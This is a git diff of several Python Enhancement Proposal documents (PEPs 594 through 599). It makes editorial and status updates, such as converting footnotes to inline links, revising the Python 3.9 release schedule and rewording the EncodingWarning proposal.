``audioop``, the byte swap function could be either be moved to another module (e.g. ``operator``) or the ``array`` module could gain support for 24-bit (3-byte) arrays. -Module type - pure Python (depends on *byteswap* from `audioop`_ C extension) -Has a designated expert - no - - -Future maintenance of removed modules -===================================== - -The main goal of the PEP is to reduce the burden and workload on the Python -core developer team. Therefore, removed modules will not be maintained by -the core team as separate PyPI packages. However the removed code, tests and -documentation may be moved into a new Git repository, so community members -have a place from which they can pick up and fork code. - -A first draft of a `legacylib `_ -repository is available on my private GitHub account. The modules could be -made available on PyPI. The Python core team will not publish or maintain -the packages. It is my hope that members of the Python community will -adopt, maintain, and perhaps improve the deprecated modules. - -It's my hope that some of the deprecated modules will be picked up and -adopted by users that actually care about them. For example, ``colorsys`` and -``imghdr`` are useful modules, but have limited feature set. A fork of -``imghdr`` can add new features and support for more image formats, without -being constrained by Python's release cycle. - -Most of the modules are in pure Python and can be easily packaged. Some -depend on a simple C module, e.g. `audioop`_ and `crypt`_. Since `audioop`_ -does not depend on any external libraries, it can be shipped as binary -wheels with some effort. Other C modules can be replaced with ``ctypes`` or ``cffi``. -For example, I created `legacycrypt`_, which provides a full implementation of -``crypt``. It is implemented on top of a ctypes wrapper around ``libxcrypt`` -and ``libcrypt`` instead of a C extension like the original ``_crypt`` -module. - Discussions =========== * Elana Hashman and Nick Coghlan suggested to keep the ``getopt`` module. -* Berker Peksag proposed to deprecate and removed ``msilib``. +* Berker Peksag proposed to deprecate and remove ``msilib``. * Brett Cannon recommended to delay active deprecation warnings and removal of modules like ``imp`` until Python 3.10. Version 3.8 will be released shortly before Python 2 reaches end-of-life. A delay reduced churn for users that migrate from Python 2 to 3.8. -* Brett also came up with the idea to keep ``lib2to3``. The package is useful - for other purposes, e.g. `Black `_ uses - it to reformat Python code. * At one point, distutils was mentioned in the same sentence as this PEP. To avoid lengthy discussion and delay of the PEP, I decided against dealing with distutils. Deprecation of the distutils package will be handled by @@ -1045,13 +611,29 @@ Discussions stdlib doesn't have a replacement for the servers, yet. +Rejected ideas +============== + +Creating/maintaining a separate repo for the deprecated modules +--------------------------------------------------------------- + +It was previously proposed to create a separate repository containing the +deprecated modules packaged for installation. One of the PEP authors went so far +as to create a `demo repository `_. In the +end, though, it was decided that the added workload to create and maintain such +a repo officially wasn't justified, as the source code will continue to be +available in the CPython repository for people to vendor as necessary. Similar +work has also not been done when previous modules were deprecated and removed, +and it seemingly wasn't an undue burden on the community. + + Update history ============== Update 1 -------- -* Deprecate `parser`_ module +* Deprecate ``parser`` module * Keep `fileinput`_ module * Elaborate why ``crypt`` and ``spwd`` are dangerous and bad * Improve sections for `cgitb`_, `colorsys`_, `nntplib`_, and `smtpd`_ modules @@ -1069,16 +651,25 @@ Update 2 * Add experts * Redirect discussions to discuss.python.org * Deprecate `telnetlib`_ -* Deprecate compat32 policy of email package +* Deprecate compat32 policy of ``email`` package * Add creation year to overview table * Mention :pep:`206` and :pep:`3108` * Update sections for ``aifc``, ``audioop``, ``cgi``, and ``wave``. Update 3 -------- + * Keep the legacy email API modules. Internal deprecations will be handled separately. +Update 4 +-------- + +* Add Brett as a co-author. +* Retarget the PEP for Python 3.11. +* Examples of how to replace the relevant parts of ``cgi`` + (thanks Martijn Pieters). + References ========== @@ -1088,15 +679,14 @@ References .. [3] https://blogs.msmvps.com/installsite/blog/2015/05/03/the-future-of-windows-installer-msi-in-the-light-of-windows-10-and-the-universal-windows-platform/ .. [4] https://twitter.com/ChristianHeimes/status/1130257799475335169 .. [5] https://twitter.com/dabeaz/status/1130278844479545351 -.. [6] https://mail.python.org/pipermail/python-dev/2019-May/157464.html -.. [7] https://discuss.python.org/t/switch-pythons-parsing-tech-to-something-more-powerful-than-ll-1/379 -.. [8] https://mail.python.org/pipermail/python-dev/2019-May/157634.html +.. [6] https://mail.python.org/pipermail/python-dev/2019-May/157634.html Copyright ========= -This document has been placed in the public domain. +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0595.rst b/pep-0595.rst index 61964da0126..7a06554fde3 100644 --- a/pep-0595.rst +++ b/pep-0595.rst @@ -20,7 +20,7 @@ switching to GitHub Issues, as proposed by :pep:`581`. Resolution ========== -2020-06-25: With the acceptance of PEP 581, the move to GitHub for +2020-06-25: With the acceptance of :pep:`581`, the move to GitHub for issues is proceeding, this PEP is being marked as a withdrawn informational PEP. @@ -28,9 +28,11 @@ informational PEP. Motivation ========== -On May 14th, 2019 :pep:`581` has been accepted [#]_ without much -public discussion and without a clear consensus [#]_. The PEP -contains factual errors and doesn't address some of the +On May 14th, 2019 :pep:`581` has been `accepted +`_ +without much public discussion and `without a clear consensus +`_. +The PEP contains factual errors and doesn't address some of the issues that the migration to GitHub Issues might present. Given the scope of the migration, the amount of work required, @@ -98,13 +100,16 @@ on GitHub Issues. * **Nosy list autocomplete.** The nosy list has an autocomplete feature that suggests maintainers and experts. The suggestions - are automatically updated when the experts index [#]_ changes. + are automatically updated when the `experts index + `_ changes. * **Dependencies and Superseders.** Roundup allows to specify dependencies that must be addressed before the current issues can be closed and a superseder issue to easily mark duplicates - [#]_. The list of dependencies can also be used to create - meta-issues that references several other sub-issues [#]_. + (for example, `bpo-12078 `_). + The list of dependencies can also be used to create + meta-issues that references several other sub-issues + (for example, `bpo-26865 `_). Improving Roundup @@ -115,7 +120,7 @@ and other desired features and discusses how they can be implemented by improving Roundup and/or our instance. * **REST API support.** A REST API will make integration with other - services and the development of new tools and applications easiers. + services and the development of new tools and applications easier. Upstream Roundup now supports a REST API. Updating the tracker will make the REST API available. @@ -125,15 +130,17 @@ by improving Roundup and/or our instance. It will also solve issues with confirmation emails being marked as spam, and provide two-factor authentication. - A patch to add this functionality is already available and is - being integrated at the time of writing [#]_. + A patch to add this functionality is `already available + `_ + and is being integrated at the time of writing. * **Markdown support and message preview and editing.** This feature will allow the use of Markdown in messages and the ability to preview the message before the submission and edit it afterward. This can be done, but it will take some work. Possible solutions - have been proposed on the roundup-devel mailing list [#]_. + have been proposed on the `roundup-devel mailing list + `_. * **"Remove me from nosy list" button.** Add a button on issue pages to remove self from the nosy list. @@ -160,14 +167,18 @@ by improving Roundup and/or our instance. * **Add PR link to BPO emails.** Currently bpo emails don't include links to the corresponding PRs. - A patch [#]_ is available to change the content of the bpo emails - from:: + A `patch `_ + is available to change the content of the bpo emails from: + + .. code-block:: text components: +Tkinter versions: +Python 3.4 pull_requests: +42 - to:: + to: + + .. code-block:: text components: +Tkinter versions: +Python 3.4 @@ -190,7 +201,7 @@ PEP 581 issues This section addresses some errors and inaccuracies found in :pep:`581`. -The "Why GitHub?" section of PEP 581 lists features currently +The "Why GitHub?" section of :pep:`581` lists features currently available on GitHub Issues but not on Roundup. Some of this features are currently supported: @@ -222,7 +233,8 @@ are currently supported: * The GitHub integration of Roundup automatically closes issues when a commit that contains "fixes issue " is merged. (Alternative spellings such as "closes" or "bug" are also supported.) - See [#]_ for a recent example of this feature. + See `this message `_ + for a recent example of this feature. * "Support for permalinks, allowing easy quoting and copying & pasting of source code." @@ -239,15 +251,19 @@ are currently supported: write and maintain bots. In some cases, bots are required to workaround GitHub's lack of - features rather than expanding. [#]_ was written - specifically to workaround GitHub's email integration. + features rather than expanding. `This webhook + `_ + was written specifically to workaround GitHub's email integration. Updating our bots to stay up-to-date with changes in the GitHub API - has also maintenance cost. [#]_ took two days to be fixed. + has also maintenance cost. `This recent incident caused by GitHub + `_ + took two days to be fixed. In addition, we will still need to maintain Roundup for bpo (even if it becomes read-only) and for the other trackers - we currently host/maintain (Jython [#]_ and Roundup [#]_). + we currently host/maintain (`Jython `_ + and `Roundup `_). The "Issues with Roundup / bpo" section of :pep:`581` lists some issues that have already been fixed: @@ -256,8 +272,11 @@ that have already been fixed: it puts heavy burden on the few existing maintainers in terms of reviewing, testing, and applying patches." - * While Roundup uses Mercurial by default, there is a git clone - available on GitHub [#]_. Roundup also has CI available [#]_ [#]_. + * While Roundup uses Mercurial by default, there is a `git clone + available on GitHub `_. + Roundup also has CI available on `Travis CI + `_ and `Codecov + `_. * "There is no REST API available. There is an open issue in Roundup for adding REST API. Last activity was in 2016." @@ -271,7 +290,8 @@ that have already been fixed: This has now been changed to make the email addresses hidden for regular users too (Developers and Coordinators can still see them). - The "Email address" column from the user listing page [#]_ has been + The "Email address" column from the `user listing page + `_ has been removed too. * "It sends a number of unnecessary emails and notifications, and it is @@ -362,11 +382,12 @@ need to be addressed regardless of the approach used: redirects and preserve external links to GitHub issues. * **References preservation and updating.** In addition to issue - references, bpo converts a number of other references into links, + references, bpo `converts a number of other references into links + `_, including message and PR IDs, changeset numbers, legacy SVN revision numbers, paths to files in the repo, files in tracebacks (detecting the correct branch), and links to devguide pages and - sections [#]_. + sections. Since Roundup converts references to links when messages are requested, it is possible to update the target and generate the @@ -403,145 +424,38 @@ need to be addressed regardless of the approach used: * **Signal to noise ratio.** Switching to GitHub Issues will likely increase the number of invalid reports and increase the triaging effort. This concern has been raised in the past - in a Zulip topic [#]_. + in a `Zulip topic + `_. There have been already cases where people posted comments on PRs that required moderators to mark them as off-topic or disruptive, delete them altogether, and even lock the - conversation [#]_. + conversation (for example, `this PR + `_. * **Weekly tracker reports and stats.** Roundup sends weekly reports to python-dev with a summary that includes new issues, recent issues with no replies, recent issues waiting for review, most discussed issues, closed issues, and deltas for open/closed/total - issue counts [#]_. The report provides an easy way to keep track + issue counts (for example, see `this summary + `_). + The report provides an easy way to keep track of the tracker activity and to make sure that issues that require attention are noticed. - The data collect by the weekly report is also use to generate - statistics and graphs that can be used to gain new insights [#]_. + The data collect by the weekly report is also used to generate + `statistics and graphs `_ + that can be used to gain new insights. * **bpo-related MLs.** There are currently two mailing lists where bpo posts new tracker issues and all messages respectively: - ``new-bugs-announce`` [#]_ and ``python-bugs-list`` [#]_. A new system - will need to be developed to preserve this functionality. These MLs + `new-bugs-announce `_ + and `python-bugs-list `_. + A new system will need to be developed to preserve this functionality. These MLs offer additional ways to keep track of the tracker activity. -References -========== - -.. [#] [Python-Dev] PEP 581 (Using GitHub issues for CPython) is accepted - - https://mail.python.org/pipermail/python-dev/2019-May/157399.html - -.. [#] [python-committers] [Python-Dev] PEP 581 (Using GitHub issues - for CPython) is accepted - - https://mail.python.org/pipermail/python-committers/2019-May/006755.html - -.. [#] Experts Index -- Python Devguide - - https://devguide.python.org/experts/ - -.. [#] An example of superseded issues: - "re.sub() replaces only several matches" - - https://bugs.python.org/issue12078 - -.. [#] An example of meta issue using dependencies to track sub-issues: - "Meta-issue: support of the android platform"" - - https://bugs.python.org/issue26865 - -.. [#] Support logging in with GitHub - - https://github.com/python/bugs.python.org/issues/7 - -.. [#] Re: [Roundup-devel] PEP 581 and Google Summer of Code - - https://sourceforge.net/p/roundup/mailman/message/36667828/ - -.. [#] [Tracker-discuss] [issue624] bpo emails contain useless non-github - pull_request number - users want a link to actual github PR - - https://mail.python.org/pipermail/tracker-discuss/2018-June/004547.html - -.. [#] The commit reported in msg342882 closes the issue (see the history below) - - https://bugs.python.org/issue36951#msg342882 - -.. [#] The cpython-emailer-webhook project - - https://github.com/berkerpeksag/cpython-emailer-webhook - -.. [#] A recent incident caused by GitHub - - https://github.com/python/bedevere/pull/163 - -.. [#] Jython issue tracker - - https://bugs.jython.org/ - -.. [#] Roundup issue tracker - - https://issues.roundup-tracker.org/ - -.. [#] GitHub clone of Roundup - - https://github.com/roundup-tracker/roundup - -.. [#] Travis-CI for Roundup - - https://travis-ci.org/roundup-tracker/roundup) and codecov - -.. [#] Codecov for Roundup - - https://codecov.io/gh/roundup-tracker/roundup/commits - -.. [#] User listing -- Python tracker - - https://bugs.python.org/user?@sort=username - -.. [#] Generating Special Links in a Comment -- Python Devguide - - https://devguide.python.org/triaging/#generating-special-links-in-a-comment - -.. [#] The New-bugs-announce mailing list - - https://mail.python.org/mailman/listinfo/new-bugs-announce - -.. [#] The Python-bugs-list mailing list - - https://mail.python.org/mailman/listinfo/python-bugs-list - -.. [#] An example of [Python-Dev] Summary of Python tracker Issues - - https://mail.python.org/pipermail/python-dev/2019-May/157483.html - -.. [#] Issues stats -- Python tracker - - https://bugs.python.org/issue?@template=stats - -.. [#] s/n ratio -- Python -- Zulip - - https://python.zulipchat.com/#narrow/stream/130206-pep581/topic/s.2Fn.20ratio - -.. [#] For example, this and other related PRs: - - https://github.com/python/cpython/pull/9099 - - Copyright ========= This document has been placed in the public domain. - -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - coding: utf-8 - End: diff --git a/pep-0596.rst b/pep-0596.rst index 57d1151454b..d5c572935b3 100644 --- a/pep-0596.rst +++ b/pep-0596.rst @@ -40,7 +40,7 @@ Release Schedule Note: the dates below use a 17-month development period that results in a 12-month release cadence between major versions, as defined by -PEP 602. +:pep:`602`. Actual: @@ -71,21 +71,25 @@ Actual: - 3.9.1 final: Monday, 2020-12-07 - 3.9.2 candidate 1: Monday, 2021-02-16 - 3.9.2 final: Monday, 2021-02-19 - -Expected: - -- 3.9.3: Monday, 2021-05-03 -- 3.9.4: Monday, 2021-06-28 -- 3.9.5: Monday, 2021-08-30 -- 3.9.6: Monday, 2021-11-01 -- 3.9.7: Monday, 2022-01-03 -- 3.9.8: Monday, 2022-02-28 - -Final regular bugfix release with binary installers: - -- 3.9.9: Monday, 2022-05-02 - -Source-only security fix releases after that until October 2025. +- 3.9.3: Friday, 2021-04-02 (security hotfix; recalled due to bpo-43710) +- 3.9.4: Sunday, 2021-04-04 (ABI compatibility hotfix) +- 3.9.5: Monday, 2021-05-03 +- 3.9.6: Monday, 2021-06-28 +- 3.9.7: Monday, 2021-08-30 +- 3.9.8: Friday, 2021-11-05 (recalled due to bpo-45235) +- 3.9.9: Monday, 2021-11-15 +- 3.9.10: Monday, 2022-01-14 +- 3.9.11: Wednesday, 2022-03-16 +- 3.9.12: Wednesday, 2022-03-23 +- 3.9.13: Tuesday, 2022-05-17 (final regular bugfix release with binary + installers) + + +Source-only security fix releases +--------------------------------- + +Provided irregularly on an "as-needed" basis until October 2025, +starting with 3.9.14. 3.9 Lifespan diff --git a/pep-0597.rst b/pep-0597.rst index a6166f822e0..c94fc149d70 100644 --- a/pep-0597.rst +++ b/pep-0597.rst @@ -1,8 +1,8 @@ PEP: 597 Title: Add optional EncodingWarning -Last-Modified: 20-Feb-2021 +Last-Modified: 07-Aug-2021 Author: Inada Naoki -Status: Draft +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 05-Jun-2019 @@ -12,16 +12,17 @@ Python-Version: 3.10 Abstract ======== -Add a new warning category ``EncodingWarning``. It is emitted when -``encoding`` option is omitted and the default encoding is a locale -encoding. +Add a new warning category ``EncodingWarning``. It is emitted when the +``encoding`` argument to ``open()`` is omitted and the default +locale-specific encoding is used. -The warning is disabled by default. New ``-X warn_default_encoding`` -command-line option and ``PYTHONWARNDEFAULTENCODING`` environment -variable are used to enable the warnings. +The warning is disabled by default. A new ``-X warn_default_encoding`` +command-line option and a new ``PYTHONWARNDEFAULTENCODING`` environment +variable can be used to enable it. -``encoding="locale"`` option is added too. It is used to specify -locale encoding explicitly. +A ``"locale"`` argument value for ``encoding`` is added too. It +explicitly specifies that the locale encoding should be used, silencing +the warning. Motivation @@ -33,27 +34,27 @@ Using the default encoding is a common mistake Developers using macOS or Linux may forget that the default encoding is not always UTF-8. -For example, ``long_description = open("README.md").read()`` in -``setup.py`` is a common mistake. Many Windows users can not install -the package if there is at least one non-ASCII character (e.g. emoji) -in the ``README.md`` file which is encoded in UTF-8. +For example, using ``long_description = open("README.md").read()`` in +``setup.py`` is a common mistake. Many Windows users cannot install +such packages if there is at least one non-ASCII character +(e.g. emoji, author names, copyright symbols, and the like) +in their UTF-8-encoded ``README.md`` file. -For example, 489 packages of the 4000 most downloaded packages from -PyPI used non-ASCII characters in README. And 82 packages of them -can not be installed from source package when locale encoding is -ASCII. [1]_ They used the default encoding to read README or TOML -file. +Of the 4000 most downloaded packages from PyPI, 489 use non-ASCII +characters in their README, and 82 fail to install from source on +non-UTF-8 locales due to not specifying an encoding for a non-ASCII +file. [1]_ Another example is ``logging.basicConfig(filename="log.txt")``. -Some users expect UTF-8 is used by default, but locale encoding is -used actually. [2]_ +Some users might expect it to use UTF-8 by default, but the locale +encoding is actually what is used. [2]_ -Even Python experts assume that default encoding is UTF-8. -It creates bugs that happen only on Windows. See [3]_, [4]_, [5]_, +Even Python experts may assume that the default encoding is UTF-8. +This creates bugs that only happen on Windows; see [3]_, [4]_, [5]_, and [6]_ for example. -Emitting a warning when the ``encoding`` option is omitted will help -to find such mistakes. +Emitting a warning when the ``encoding`` argument is omitted will help +find such mistakes. Explicit way to use locale-specific encoding @@ -61,15 +62,17 @@ Explicit way to use locale-specific encoding ``open(filename)`` isn't explicit about which encoding is expected: -* Expects ASCII (not a bug, but inefficient on Windows) -* Expects UTF-8 (bug or platform-specific script) -* Expects the locale encoding. +* If ASCII is assumed, this isn't a bug, but may result in decreased + performance on Windows, particularly with non-Latin-1 locale encodings +* If UTF-8 is assumed, this may be a bug or a platform-specific script +* If the locale encoding is assumed, the behavior is as expected + (but could change if future versions of Python modify the default) -In this point of view, ``open(filename)`` is not readable. +From this point of view, ``open(filename)`` is not readable code. ``encoding=locale.getpreferredencoding(False)`` can be used to -specify the locale encoding explicitly. But it is too long and easy -to misuse. (e.g. forget to pass ``False`` to its parameter) +specify the locale encoding explicitly, but it is too long and easy +to misuse (e.g. one can forget to pass ``False`` as its argument). This PEP provides an explicit way to specify the locale encoding. @@ -77,91 +80,96 @@ This PEP provides an explicit way to specify the locale encoding. Prepare to change the default encoding to UTF-8 ----------------------------------------------- -Since UTF-8 becomes de-facto standard text encoding, we might change -the default text encoding to UTF-8 in the future. +Since UTF-8 has become the de-facto standard text encoding, +we might default to it for opening files in the future. -But this change will affect many applications and libraries. If we -start emitting ``DeprecationWarning`` everywhere ``encoding`` option -is omitted, it will be too noisy and painful. +However, such a change will affect many applications and libraries. +If we start emitting ``DeprecationWarning`` everywhere the ``encoding`` +argument is omitted, it will be too noisy and painful. -Although this PEP doesn't propose to change the default encoding, -this PEP will help the change: +Although this PEP doesn't propose changing the default encoding, +it will help enable that change by: -* Reduce the number of omitted ``encoding`` options in many libraries - before we start emitting the ``DeprecationWarning`` by default. +* Reducing the number of omitted ``encoding`` arguments in libraries + before we start emitting a ``DeprecationWarning`` by default. -* Users will be able to use ``encoding="locale"`` option to suppress - the warning without dropping Python 3.10 support. +* Allowing users to pass ``encoding="locale"`` to suppress + the current warning and any ``DeprecationWarning`` added in the future, + as well as retaining consistent behavior if later Python versions + change the default, ensuring support for any Python version >=3.10. Specification ============= ``EncodingWarning`` --------------------- +------------------- -Add a new ``EncodingWarning`` warning class which is a subclass of -``Warning``. It is used to warn when the ``encoding`` option is -omitted and the default encoding is locale-specific. +Add a new ``EncodingWarning`` warning class as a subclass of +``Warning``. It is emitted when the ``encoding`` argument is omitted and +the default locale-specific encoding is used. Options to enable the warning ------------------------------- +----------------------------- -``-X warn_default_encoding`` option and the +The ``-X warn_default_encoding`` option and the ``PYTHONWARNDEFAULTENCODING`` environment variable are added. They are used to enable ``EncodingWarning``. -``sys.flags.encoding_warning`` is also added. The flag represents +``sys.flags.warn_default_encoding`` is also added. The flag is true when ``EncodingWarning`` is enabled. -When the option is enabled, ``io.TextIOWrapper()``, ``open()``, and -other modules using them will emit ``EncodingWarning`` when the -``encoding`` is omitted. +When the flag is set, ``io.TextIOWrapper()``, ``open()`` and other +modules using them will emit ``EncodingWarning`` when the ``encoding`` +argument is omitted. Since ``EncodingWarning`` is a subclass of ``Warning``, they are -shown by default, unlike ``DeprecationWarning``. +shown by default (if the ``warn_default_encoding`` flag is set), unlike +``DeprecationWarning``. -``encoding="locale"`` option ----------------------------- +``encoding="locale"`` +--------------------- -``io.TextIOWrapper`` accepts ``encoding="locale"`` option. It means -same to current ``encoding=None``. But ``io.TextIOWrapper`` doesn't -emit ``EncodingWarning`` when ``encoding="locale"`` is specified. +``io.TextIOWrapper`` will accept ``"locale"`` as a valid argument to +``encoding``. It has the same meaning as the current ``encoding=None``, +except that ``io.TextIOWrapper`` doesn't emit ``EncodingWarning`` when +``encoding="locale"`` is specified. ``io.text_encoding()`` ------------------------ +---------------------- -``io.text_encoding()`` is a helper function for functions having -``encoding=None`` option and passing it to ``io.TextIOWrapper()`` or +``io.text_encoding()`` is a helper for functions with an +``encoding=None`` parameter that pass it to ``io.TextIOWrapper()`` or ``open()``. -Pure Python implementation will be like this:: +A pure Python implementation will look like this:: def text_encoding(encoding, stacklevel=1): - """Helper function to choose the text encoding. + """A helper function to choose the text encoding. When *encoding* is not None, just return it. - Otherwise, return the default text encoding (i.e., "locale"). + Otherwise, return the default text encoding (i.e. "locale"). - This function emits EncodingWarning if *encoding* is None and - sys.flags.encoding_warning is true. + This function emits an EncodingWarning if *encoding* is None and + sys.flags.warn_default_encoding is true. - This function can be used in APIs having encoding=None option - and pass it to TextIOWrapper or open. - But please consider using encoding="utf-8" for new APIs. + This function can be used in APIs with an encoding=None parameter + that pass it to TextIOWrapper or open. + However, please consider using encoding="utf-8" for new APIs. """ if encoding is None: - if sys.flags.encoding_warning: + if sys.flags.warn_default_encoding: import warnings - warnings.warn("'encoding' option is omitted", - EncodingWarning, stacklevel + 2) + warnings.warn( + "'encoding' argument not specified.", + EncodingWarning, stacklevel + 2) encoding = "locale" return encoding -For example, ``pathlib.Path.read_text()`` can use the function like: +For example, ``pathlib.Path.read_text()`` can use it like this: .. code-block:: @@ -174,18 +182,18 @@ By using ``io.text_encoding()``, ``EncodingWarning`` is emitted for the caller of ``read_text()`` instead of ``read_text()`` itself. -Affected stdlibs ------------------ +Affected standard library modules +--------------------------------- -Many stdlibs will be affected by this change. +Many standard library modules will be affected by this change. Most APIs accepting ``encoding=None`` will use ``io.text_encoding()`` as written in the previous section. -Where using locale encoding as the default encoding is reasonable, +Where using the locale encoding as the default encoding is reasonable, ``encoding="locale"`` will be used instead. For example, -the ``subprocess`` module will use locale encoding for the default -encoding of the pipes. +the ``subprocess`` module will use the locale encoding as the default +for pipes. Many tests use ``open()`` without ``encoding`` specified to read ASCII text files. They should be rewritten with ``encoding="ascii"``. @@ -195,11 +203,11 @@ Rationale ========= Opt-in warning ---------------- +-------------- -Although ``DeprecationWarning`` is suppressed by default, emitting -``DeprecationWarning`` always when the ``encoding`` option is omitted -would be too noisy. +Although ``DeprecationWarning`` is suppressed by default, always +emitting ``DeprecationWarning`` when the ``encoding`` argument is +omitted would be too noisy. Noisy warnings may lead developers to dismiss the ``DeprecationWarning``. @@ -208,43 +216,43 @@ Noisy warnings may lead developers to dismiss the "locale" is not a codec alias ----------------------------- -We don't add the "locale" to the codec alias because locale can be -changed in runtime. +We don't add "locale" as a codec alias because the locale can be +changed at runtime. Additionally, ``TextIOWrapper`` checks ``os.device_encoding()`` -when ``encoding=None``. This behavior can not be implemented in -the codec. +when ``encoding=None``. This behavior cannot be implemented in +a codec. Backward Compatibility ====================== -The new warning is not emitted by default. So this PEP is 100% -backward compatible. +The new warning is not emitted by default, so this PEP is 100% +backwards-compatible. Forward Compatibility ===================== -``encoding="locale"`` option is not forward compatible. Codes -using the option will not work on Python older than 3.10. It will -raise ``LookupError: unknown encoding: locale``. +Passing ``"locale"`` as the argument to ``encoding`` is not +forward-compatible. Code using it will not work on Python older than +3.10, and will instead raise ``LookupError: unknown encoding: locale``. Until developers can drop Python 3.9 support, ``EncodingWarning`` -can be used only for finding missing ``encoding="utf-8"`` options. +can only be used for finding missing ``encoding="utf-8"`` arguments. -How to teach this +How to Teach This ================= For new users ------------- -Since ``EncodingWarning`` is used to write a cross-platform code, -no need to teach it to new users. +Since ``EncodingWarning`` is used to write cross-platform code, +there is no need to teach it to new users. -We can just recommend using UTF-8 for text files and use -``encoding="utf-8"`` when opening test files. +We can just recommend using UTF-8 for text files and using +``encoding="utf-8"`` when opening them. For experienced users @@ -257,9 +265,9 @@ default encoding. You can use ``-X warn_default_encoding`` or ``PYTHONWARNDEFAULTENCODING=1`` to find this type of mistake. -Omitting ``encoding`` option is not a bug when opening text files -encoded in locale encoding. But ``encoding="locale"`` is recommended -after Python 3.10 because it is more explicit. +Omitting the ``encoding`` argument is not a bug when opening text files +encoded in the locale encoding, but ``encoding="locale"`` is recommended +in Python 3.10 and later because it is more explicit. Reference Implementation @@ -277,23 +285,22 @@ https://mail.python.org/archives/list/python-dev@python.org/thread/SFYUP2TWD5JZ5 * Why not implement this in linters? - * ``encoding="locale"`` and ``io.text_encoding()`` must be in - Python. + * ``encoding="locale"`` and ``io.text_encoding()`` must be implemented + in Python. - * It is difficult to find all caller of functions wrapping - ``open()`` or ``TextIOWrapper()``. (See ``io.text_encoding()`` - section.) + * It is difficult to find all callers of functions wrapping + ``open()`` or ``TextIOWrapper()`` (see the ``io.text_encoding()`` + section). * Many developers will not use the option. - * Some developers use the option and report the warnings to - libraries they use. So the option is worth enough even though - many developers won't use it. + * Some will, and report the warnings to libraries they use, + so the option is worth it even if many developers don't enable it. - * For example, I find [7]_ and [8]_ by running - ``pip install -U pip`` and find [9]_ by running ``tox`` - with the reference implementation. It demonstrates how this - option can be used to find potential issues. + * For example, I found [7]_ and [8]_ by running + ``pip install -U pip``, and [9]_ by running ``tox`` + with the reference implementation. This demonstrates how this + option can be used to find potential issues. References diff --git a/pep-0598.rst b/pep-0598.rst index 2a6feabf5cb..e36fea94fd9 100644 --- a/pep-0598.rst +++ b/pep-0598.rst @@ -14,7 +14,7 @@ Python-Version: 3.9 Abstract ======== -PEP 602 proposes reducing the feature delivery latency for the Python +:pep:`602` proposes reducing the feature delivery latency for the Python standard library and CPython reference interpreter by increasing the frequency of CPython feature releases from every 18-24 months to instead occur every 9-12 months. @@ -31,7 +31,7 @@ PEP Withdrawal ============== This PEP has been withdrawn in favour of the rolling beta release stream -proposal in PEP 605. +proposal in :pep:`605`. However, the concerns raised in this PEP are likely to apply to any other "Long Term Support branch" proposals that allow feature backports to improve @@ -221,7 +221,7 @@ The pre-release beta period would be relaxed to use the incremental feature release policy for changes, rather than the stricter maintenance release policy. For governance purposes, baseline feature releases are the only releases that -would qualify as a "feature release" in the PEP 13 sense (incremental feature +would qualify as a "feature release" in the :pep:`13` sense (incremental feature releases wouldn't count). @@ -516,11 +516,11 @@ Motivation ========== The motivation for change in this PEP is essentially the same as the motivation -for change in PEP 596: the current 18-24 month gap between feature releases has +for change in :pep:`596`: the current 18-24 month gap between feature releases has a lot of undesirable consequences, especially for the standard library (see -PEP 596 for further articulation of the details). +:pep:`596` for further articulation of the details). -This PEP's concern with the specific proposal in PEP 596 is that it doubles the +This PEP's concern with the specific proposal in :pep:`596` is that it doubles the number of actively supported Python branches, increasing the complexity of compatibility testing matrices for the entire Python community, increasing the number of binary Python wheels to be uploaded to PyPI when not using the stable @@ -734,7 +734,7 @@ from the 2019-10 release of Python 3.8.0 and a final Python 3.9.x incremental feature release in 2021-10 evenly between pre-release development and subsequent incremental feature releases. -This is an area where this PEP could adopt part of the proposal in PEP 596, +This is an area where this PEP could adopt part of the proposal in :pep:`596`, by instead making that split ~9 months of pre-release development, and ~15 months of incremental feature releases: @@ -799,7 +799,7 @@ branched. An alternative way of handling this would be to start publishing alpha releases for the next baseline feature release during the feature addition period (similar -to the way that PEP 596 proposes to starting publishing Python 3.9.0 alpha +to the way that :pep:`596` proposes to starting publishing Python 3.9.0 alpha releases during the Python 3.8.0 release candidate period). However, rather than setting specific timelines for that at a policy level, diff --git a/pep-0599.rst b/pep-0599.rst index 692030326c3..1c22a643e2e 100644 --- a/pep-0599.rst +++ b/pep-0599.rst @@ -5,12 +5,14 @@ Last-Modified: $Date$ Author: Dustin Ingram Sponsor: Paul Moore BDFL-Delegate: Paul Moore -Discussions-To: https://discuss.python.org/t/the-next-manylinux-specification/ -Status: Final +Discussions-To: https://discuss.python.org/t/the-next-manylinux-specification/1043 +Status: Superseded Type: Informational +Topic: Packaging Content-Type: text/x-rst Created: 29-Apr-2019 -Post-History: 29-April-2019 +Post-History: 29-Apr-2019 +Superseded-By: 600 Resolution: https://discuss.python.org/t/the-next-manylinux-specification/1043/199 @@ -34,7 +36,7 @@ patches will be made available. All wheels built under the point. Therefore, we propose the continuation of the existing manylinux -standard, and that a new PEP 425-style [2]_ platform tag called +standard, and that a new :pep:`425`-style platform tag called ``manylinux2014`` be derived from CentOS 7 and that the ``manylinux`` toolchain, PyPI, and ``pip`` be updated to support it. @@ -177,7 +179,7 @@ the ``manylinux2014`` tag: built against Python 2, then, must include either the ``cpy27mu`` tag indicating it was built against an interpreter with the UCS-4 ABI or the ``cpy27m`` tag indicating an interpreter with the UCS-2 - ABI. [6]_ [7]_ + ABI. (:pep:`3149` [7]_) 5. A wheel *must not* require the ``PyFPE_jbuf`` symbol. This is achieved by building it against a Python compiled *without* the ``--with-fpectl`` ``configure`` flag. @@ -280,16 +282,12 @@ References .. [1] CentOS Product Specifications (https://wiki.centos.org/About/Product) -.. [2] PEP 425: Compatibility Tags for Built Distributions - (https://www.python.org/dev/peps/pep-0425/) .. [3] Tracking issue for manylinux2010 rollout (https://github.com/pypa/manylinux/issues/179) .. [4] Red Hat Universal Base Image 7 (https://access.redhat.com/containers/?tab=overview#/registry.access.redhat.com/ubi7) .. [5] The CentOS Alternative Architecture Special Interest Group (https://wiki.centos.org/SpecialInterestGroup/AltArch) -.. [6] PEP 3149: ABI version tagged .so files - (https://www.python.org/dev/peps/pep-3149/) .. [7] SOABI support for Python 2.X and PyPy (https://github.com/pypa/pip/pull/3075) .. [8] auditwheel @@ -298,7 +296,7 @@ References Acceptance ========== -PEP 599 was `accepted by Paul Moore on July 31, 2019 +:pep:`599` was `accepted by Paul Moore on July 